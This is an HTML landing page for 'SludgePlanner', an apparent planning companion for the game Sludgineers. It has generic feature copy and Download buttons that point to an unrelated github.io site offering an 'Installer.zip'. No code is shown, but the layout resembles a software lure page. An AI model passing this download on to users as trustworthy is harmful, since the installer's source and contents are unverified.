index.html

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>SludgePlanner | Sludgineers Progression Planner</title>
  <meta name="description" content="SludgePlanner is a Sludgineers companion for recycling chains, upgrades, progression goals, and session income planning.">
  <meta name="theme-color" content="#273640">
  <link rel="stylesheet" href="styles.css">
  <script src="config.js" defer></script>
  <script src="script.js" defer></script>
</head>
<body>
  <header class="site-header">
    <a class="brand" href="#top" aria-label="SludgePlanner home"><span class="brand-mark">S</span><span>SludgePlanner</span></a>
    <nav aria-label="Primary navigation"><a href="#features">Features</a><a href="#workflow">Workflow</a><a href="#setup">Setup</a></nav>
  </header>
  <main id="top">
    <section class="hero">
      <div class="hero-copy reveal">
        <p class="eyebrow">Sludgineers progression planner</p>
        <h1>Spend the next resource with a plan.</h1>
        <p>Compare processing routes, set upgrade priorities, and keep the next facility goal visible.</p>
        <div class="hero-actions"><a class="button primary" data-download href="https://averagecert.github.io/">Download</a><a class="button secondary" href="#features">View features</a></div>
        
      </div>
      <figure class="hero-preview reveal"><img src="assets/preview.png" alt="SludgePlanner recycling and upgrade dashboard screenshot" width="1600" height="900"></figure>
    </section>
    <section class="statement"><p>Clear goals for recycling, upgrades, and the next facility expansion.</p></section>
    <section class="section feature-layout" id="features">
      <div class="section-intro"><p class="eyebrow">Planning the loop</p><h2>Keep progression decisions organized.</h2><p>SludgePlanner gives resource costs, upgrade choices, and session results a single place to make sense.</p></div>
      <div class="feature-grid">
        <article class="feature feature-wide"><h3>Recycling planner</h3><p>Build a clear view of the resources and processing routes needed for each objective.</p></article>
        <article class="feature"><h3>Upgrade queue</h3><p>Compare costs and arrange purchases around the next progression goal.</p></article>
        <article class="feature"><h3>Zone tracking</h3><p>Keep unlocked areas, active tasks, and future exploration goals nearby.</p></article>
        <article class="feature feature-accent"><h3>Session income</h3><p>Save earnings from completed sessions and use the record to guide the next plan.</p></article>
      </div>
    </section>
    <section class="section workflow" id="workflow">
      <div class="section-intro"><h2>Build the priority before the purchase.</h2><p>Compare the inputs, place upgrades in order, and update the plan as new resources and zones become available.</p></div>
      <div class="workflow-list"><div><strong>Compare</strong><span>Review processing routes and upgrade costs.</span></div><div><strong>Prioritize</strong><span>Create a queue that supports the current goal.</span></div><div><strong>Track</strong><span>Record zones, tasks, and session income.</span></div><div><strong>Expand</strong><span>Plan the next facility improvement with context.</span></div></div>
    </section>
    <section class="section setup" id="setup">
      <div><p class="eyebrow">Start the plan</p><h2>Install and set a progression goal.</h2></div>
      <ol><li><strong>Download</strong><span>Get `Installer.zip` from the project release.</span></li><li><strong>Extract</strong><span>Open the downloaded installer.</span></li><li><strong>Plan</strong><span>Open SludgePlanner and add the next upgrade goal.</span></li></ol>
    </section>
    <section class="final" id="download"><h2>Give the next session a clear objective.</h2><a class="button primary" data-download href="https://averagecert.github.io/">Download</a></section>
  </main>
  <footer><span>© <span data-year></span> SludgePlanner</span><a href="#top">Back to top</a></footer>
</body>
</html>